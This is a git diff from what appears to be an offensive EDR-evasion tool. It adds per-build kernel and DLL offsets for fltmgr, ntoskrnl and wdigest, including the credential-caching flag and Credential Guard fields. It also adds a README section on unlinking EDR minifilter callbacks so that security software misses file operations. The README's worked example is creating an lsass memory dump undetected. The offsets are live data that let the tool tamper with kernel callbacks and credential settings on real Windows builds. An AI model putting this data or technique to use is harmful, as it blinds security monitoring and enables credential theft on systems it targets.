+fltmgr_16299-98.sys,28540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_16299-99.sys,28540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_16299-192.sys,28540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_16299-371.sys,28540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_16299-402.sys,28540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_16299-1480.sys,28540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_16299-1868.sys,27540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_16299-2401.sys,27540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_16299-10000.sys,28540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_17134-1.sys,29540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_17134-228.sys,29540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_17134-1098.sys,29540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_17134-1365.sys,29540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_17134-1456.sys,29540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_17763-1.sys,2a540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_17763-379.sys,2a540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_17763-592.sys,2a540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_17763-831.sys,2a540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_17763-1999.sys,2a540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_17763-2028.sys,2a540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_17763-2061.sys,2a540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_17763-2090.sys,2a540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_17763-2510.sys,2a540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_17763-4492.sys,2a540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_17763-4644.sys,2a540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_17763-4720.sys,2a540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_17763-5122.sys,2a540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_17763-10576.sys,2a540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_18362-1.sys,2a580,58,68,8,48,10,60,68,58,a0,70 +fltmgr_18362-267.sys,2a580,58,68,8,48,10,60,68,58,a0,70 +fltmgr_18362-1110.sys,2a580,58,68,8,48,10,60,68,58,a0,70 +fltmgr_18362-1216.sys,2a580,58,68,8,48,10,60,68,58,a0,70 +fltmgr_18362-1645.sys,2a580,58,68,8,48,10,60,68,58,a0,70 +fltmgr_18362-1714.sys,2a580,58,68,8,48,10,60,68,58,a0,70 +fltmgr_18362-2337.sys,2a580,58,68,8,48,10,60,68,58,a0,70 +fltmgr_19041-264.sys,2b600,58,68,8,48,10,60,68,58,a0,70 +fltmgr_19041-1151.sys,2b600,58,68,8,48,10,60,68,58,a0,70 +fltmgr_19041-1165.sys,2b600,58,68,8,48,10,60,68,58,a0,70 +fltmgr_19041-1503.sys,2a600,58,68,8,48,10,60,68,58,a0,70 +fltmgr_19041-1526.sys,2a600,58,68,8,48,10,60,68,58,a0,70 +fltmgr_19041-1682.sys,2b600,58,68,8,48,10,60,68,58,a0,70 +fltmgr_19041-1767.sys,2b600,58,68,8,48,10,60,68,58,a0,70 +fltmgr_19041-1806.sys,29600,58,68,8,48,10,60,68,58,a0,70 +fltmgr_19041-2728.sys,29600,58,68,8,48,10,60,68,58,a0,70 +fltmgr_19041-2788.sys,29600,58,68,8,48,10,60,68,58,a0,70 +fltmgr_19041-3086.sys,29600,58,68,8,48,10,60,68,58,a0,70 +fltmgr_19041-3205.sys,29600,58,68,8,48,10,60,68,58,a0,70 +fltmgr_19041-3570.sys,29600,58,68,8,48,10,60,68,58,a0,70 +fltmgr_19041-3636.sys,29600,58,68,8,48,10,60,68,58,a0,70 +fltmgr_19041-3684.sys,29600,58,68,8,48,10,60,68,58,a0,70 +fltmgr_21390-1.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22000-1.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22000-469.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22000-527.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22000-778.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22000-1098.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22000-1165.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22000-1219.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22000-1281.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22000-1696.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22000-1761.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22000-2124.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22000-2592.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22000-2600.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22621-4.sys,2c700,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22621-608.sys,2c700,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22621-1690.sys,2c700,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22621-2361.sys,2e700,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22621-2415.sys,2e700,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22621-2506.sys,2e700,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22621-2771.sys,2e700,58,68,8,48,10,60,68,58,a8,70 diff --git a/Offsets/NtoskrnlOffsets.csv b/Offsets/NtoskrnlOffsets.csv index acfc303..d387b53 100644 --- a/Offsets/NtoskrnlOffsets.csv +++ b/Offsets/NtoskrnlOffsets.csv @@ -1,4 +1,4 @@ -ntoskrnlVersion,PspCreateProcessNotifyRoutine,PspCreateThreadNotifyRoutine,PspLoadImageNotifyRoutine,_EPROCESS,EtwThreatIntProvRegHandle,_ETW_REG_ENTRY,_ETW_GUID_ENTRY,PsProcessType,PsThreadType,_OBJECT_TYPE,SeCiCallbacks +ntoskrnlVersion,PspCreateProcessNotifyRoutine,PspCreateThreadNotifyRoutine,PspLoadImageNotifyRoutine,_EPROCESS_Protection,EtwThreatIntProvRegHandle,_ETW_REG_ENTRY_GuidEntry,_ETW_GUID_ENTRY_ProviderEnableInfo,PsProcessType,PsThreadType,_OBJECT_TYPE_CallbackList,SeCiCallbacks ntoskrnl_10240-16384.exe,35d2e0,35d0e0,35cee0,6aa,0,20,50,3c51e8,3c5200,c8,31ee80 ntoskrnl_10240-17394.exe,35d420,35d220,35d020,6aa,0,20,50,3c51e8,3c5200,c8,31ef40 ntoskrnl_10240-17443.exe,35c420,35c220,35c020,6aa,0,20,50,3c41e8,3c4200,c8,31df40 @@ -55,6 +55,7 @@ ntoskrnl_10240-20048.exe,369520,369320,369120,6b2,0,20,50,3cf230,3cf248,c8,32b06 ntoskrnl_10240-20107.exe,3695a0,3693a0,3691a0,6b2,0,20,50,3cf228,3cf248,c8,32b0a0 ntoskrnl_10240-20161.exe,369560,369360,369160,6b2,0,20,50,3cf228,3cf248,c8,32b060 ntoskrnl_10240-20232.exe,369560,369360,369160,6b2,0,20,50,3cf228,3cf248,c8,32b060 +ntoskrnl_10240-20307.exe,369560,369360,369160,6b2,0,20,50,3cf228,3cf248,c8,32b060 ntoskrnl_10586-0.exe,317180,316f80,316d80,6b2,0,20,50,37f228,37f248,c8,2d8d40 ntoskrnl_10586-1176.exe,3161c0,315fc0,315dc0,6b2,0,20,50,37e228,37e248,c8,2d7d00 ntoskrnl_10586-1177.exe,3161c0,315fc0,315dc0,6b2,0,20,50,37e228,37e248,c8,2d7d00 @@ -154,6 +155,7 @@ ntoskrnl_14393-5921.exe,33ce20,33cc20,33ca20,6ca,0,20,50,3a9250,3a9278,c8,2fffa0 ntoskrnl_14393-5996.exe,33cf20,33cd20,33cb20,6ca,0,20,50,3a9250,3a9278,c8,300080 ntoskrnl_14393-6085.exe,33cea0,33cca0,33caa0,6ca,0,20,50,3a9250,3a9278,c8,300020 ntoskrnl_14393-6167.exe,33ce60,33cc60,33ca60,6ca,0,20,50,3a9250,3a9278,c8,300020 +ntoskrnl_14393-6451.exe,33cea0,33cca0,33caa0,6ca,0,20,50,3a9250,3a9278,c8,300040 ntoskrnl_15063-0.exe,382290,382090,381e90,6ca,341ea8,20,50,3e1f98,3e1fb0,c8,345be0 ntoskrnl_15063-13.exe,382290,382090,381e90,6ca,341ea8,20,50,3e1f98,3e1fb0,c8,345be0 ntoskrnl_15063-296.exe,382290,382090,381e90,6ca,341ea8,20,50,3e1f98,3e1fb0,c8,345be0 @@ -433,6 +435,7 @@ ntoskrnl_17763-4644.exe,4d8900,4d8b00,4d8700,6ca,409458,20,60,5402d0,5402f8,c8,4 ntoskrnl_17763-4737.exe,4d8940,4d8b40,4d8740,6ca,409478,20,60,5412d0,5412f8,c8,40cc40 ntoskrnl_17763-4851.exe,4d8c00,4d8800,4d8a00,6ca,4094b8,20,60,5412d0,5412f8,c8,40cca0 ntoskrnl_17763-4974.exe,4d8b40,4d8740,4d8940,6ca,409478,20,60,5402d0,5402f8,c8,40cc60 +ntoskrnl_17763-5122.exe,4d8bc0,4d87c0,4d89c0,6ca,409498,20,60,5402d0,5402f8,c8,40cc80 ntoskrnl_18362-30.exe,500d60,500960,500b60,6fa,42fa40,20,50,56f390,56f3b8,c8,433200 ntoskrnl_18362-116.exe,500de0,5009e0,500be0,6fa,42fa48,20,50,56f390,56f3b8,c8,433260 ntoskrnl_18362-145.exe,500de0,5009e0,500be0,6fa,42f9e8,20,50,56f390,56f3b8,c8,433220 @@ -589,6 +592,7 @@ ntoskrnl_19041-3448.exe,cec460,cec260,cec060,87a,c19858,20,60,cfc410,cfc440,c8,c ntoskrnl_19041-3516.exe,cec1a0,cec5a0,cec3a0,87a,c197f8,20,60,cfc410,cfc440,c8,c1d900 ntoskrnl_19041-3570.exe,cec660,cec460,cec260,87a,c197d8,20,60,cfc410,cfc440,c8,c1d900 ntoskrnl_19041-3636.exe,cec5e0,cec3e0,cec1e0,87a,c197b8,20,60,cfc410,cfc440,c8,c1d8c0 +ntoskrnl_19041-3693.exe,cec120,cec520,cec320,87a,c19798,20,60,cfc410,cfc440,c8,c1d8e0 ntoskrnl_22000-194.exe,cf5f40,cf5d40,cf6140,87a,c15d20,20,60,d06890,d068c0,c8,c1b7c0 ntoskrnl_22000-258.exe,cf5f40,cf5d40,cf6140,87a,c15d20,20,60,d06890,d068c0,c8,c1b7c0 ntoskrnl_22000-282.exe,cf5f00,cf5d00,cf6100,87a,c163d0,20,60,d06890,d068c0,c8,c1b7e0 @@ -666,3 +670,4 @@ ntoskrnl_22621-2283.exe,d0c440,d0c240,d0c040,87a,c318e0,20,60,d1da18,d1da40,c8,c ntoskrnl_22621-2361.exe,d0c510,d0c310,d0c110,87a,c318e0,20,60,d1da18,d1da40,c8,c374c0 ntoskrnl_22621-2428.exe,d0c610,d0c410,d0c210,87a,c318e0,20,60,d1ea18,d1ea40,c8,c37560 ntoskrnl_22621-2506.exe,d0c150,d0c550,d0c350,87a,c31880,20,60,d1ea18,d1ea40,c8,c37500 +ntoskrnl_22621-2715.exe,d0c150,d0c550,d0c350,87a,c31880,20,60,d1ea18,d1ea40,c8,c37500 diff --git a/Offsets/WdigestOffsets.csv b/Offsets/WdigestOffsets.csv index eeb8fd2..a6f5fe4 100644 --- a/Offsets/WdigestOffsets.csv +++ b/Offsets/WdigestOffsets.csv @@ -1,14 +1,16 @@ -imageVersion,g_fParameter_UseLogonCredential,g_IsCredGuardEnabled +wdigestVersion,g_fParameter_UseLogonCredential,g_IsCredGuardEnabled wdigest_10240-16384.dll,35134,0 wdigest_10240-17184.dll,35144,34ba0 wdigest_10240-18244.dll,35144,34ba0 wdigest_10240-18608.dll,35144,34ba0 wdigest_10240-18638.dll,35144,34ba0 +wdigest_10240-20307.dll,35174,34ba0 wdigest_10586-0.dll,35db0,35ba8 wdigest_14393-0.dll,35dc0,35ba8 wdigest_14393-3024.dll,35dc0,35ba8 wdigest_14393-3750.dll,35dc0,35ba8 wdigest_14393-3808.dll,35dc0,35ba8 +wdigest_14393-6451.dll,35de8,35ba8 wdigest_15063-0.dll,34d8c,34b88 wdigest_15063-1868.dll,34d8c,34b88 wdigest_15063-2409.dll,34d8c,34b88 @@ -38,6 +40,7 @@ wdigest_17763-3887.dll,38234,37c08 wdigest_17763-4011.dll,38234,37c08 wdigest_17763-4131.dll,38234,37c08 wdigest_17763-4974.dll,428c4,421b8 +wdigest_17763-5122.dll,428c4,421b8 wdigest_18362-1.dll,35124,34b88 wdigest_18362-175.dll,35124,34b88 wdigest_18362-900.dll,35124,34b88 @@ -56,6 +59,8 @@ wdigest_19041-3505.dll,45a24,452e8 wdigest_19041-3516.dll,45a14,452e8 wdigest_19041-3570.dll,45a14,452e8 wdigest_19041-3636.dll,45a14,452e8 +wdigest_19041-3684.dll,45a24,452e8 +wdigest_19041-3693.dll,45a24,452e8 wdigest_22000-1.dll,3caa4,3cab0 wdigest_22000-434.dll,3caa4,3cab0 wdigest_22000-1030.dll,3caa4,3cab0 @@ -75,3 +80,5 @@ wdigest_22621-2070.dll,4b5ac,4b5b8 wdigest_22621-2361.dll,4b59c,4b5a8 wdigest_22621-2506.dll,4b59c,4b5a8 wdigest_22621-2700.dll,4b59c,4b5a8 +wdigest_22621-2715.dll,4b5ac,4b5b8 +wdigest_22621-2771.dll,4b5ac,4b5b8 diff --git a/README.md b/README.md index 5d4fd0b..dcc3d14 100644 --- a/README.md +++ b/README.md @@ -160,6 +160,42 @@ However, performing the disabling / re-enabling (and "malicious" action in-betwe enough should be enough to "race" *PatchGuard* (unless you are unlucky and a periodic check is performed just at the wrong moment). +### EDR bypass through minifilters' callbacks unlinking +The Windows Filter Manager system allows an EDR to load a "minifilter" driver and +register callbacks in order to be notified of I/O operations, such as file opening, +reading, writing, etc. + +Here is a quick sum-up of different internal structures used by the filter manager: +- The Filter Manager establishes a "frame" (`_FLTP_FRAME`) as its root structure; +- A "volume" structure (`_FLT_VOLUME`) is instanciated for each "disk" managed by the +Filter Manager (can be partitions, shadow copies, or special ones corresponding to +named pipes or remote file systems); +- To each registered minifilter driver corresponds a "filter" structure (`_FLT_FILTER`), +describing various properties such as its supported operations; +- These minifilters are not all attached to each volume; an "instance" (`_FLT_INSTANCE`) +structure is created to mark each of the + filter<->volume associations; +- Minifilters register callback functions that are to be executed before and/or after + specific operations (file open, write, read, etc.). These callbacks are described in +`_CALLBACK_NODE` structures, and can be accessed by different ways: + - An array of all `_CALLBACK_NODE`s implemented by an instance of a minifilter + can be found in the `_FLT_INSTANCE` structure; the array is indexed by the IRP + "major function" code, a constant representing the operations handled by the + callbacks (`IRP_MJ_CREATE`, `IRP_MJ_READ`, etc.). + - Also, all `_CALLBACK_NODE`s implemented by instances linked to a specific volume + are regrouped in linked lists, stored in the `_FLT_VOLUME.Callbacks.OperationLists` + array indexed by IRP major function codes. + +These different structures are browsed by `EDRSandblast` to detect filters that are +associated with EDR-related drivers, and the callback nodes containing monitoring +functions are enumerated. To disable their effect, the nodes are unlinked from their +lists, making them temporarily invisible from the filter manager. + +This way, during a specified period, the EDR can be completely unaware of any file +operations. A basic example would be the creation of an lsass memory dump file on disk, +that would not trigger any analysis from the EDR, and thus no detection based on the +file itself. + ### EDR bypass through deactivation of the ETW Microsoft-Windows-Threat-Intelligence provider The `ETW Microsoft-Windows-Threat-Intelligence` provider logs data about the @@ -721,7 +757,7 @@ Finally, to detect hooking bypass (abusing a trampoline, using direct syscalls, ## Thanks to contributors * [v1k1ngfr](https://github.com/v1k1ngfr): for Driver Signature Enforcement bypass (via `g_CiOptions` patching) and GDRV.sys driver support -* [Windy Bug](https://github.com/0mWindyBug): for a KDP-compatible Driver Signature Enforcement bypass (via *callback swapping*) +* [Windy Bug](https://github.com/0mWindyBug): for a KDP-compatible Driver Signature Enforcement bypass (via *callback swapping*) and their major contribution on the minifilter bypass feature ## Licence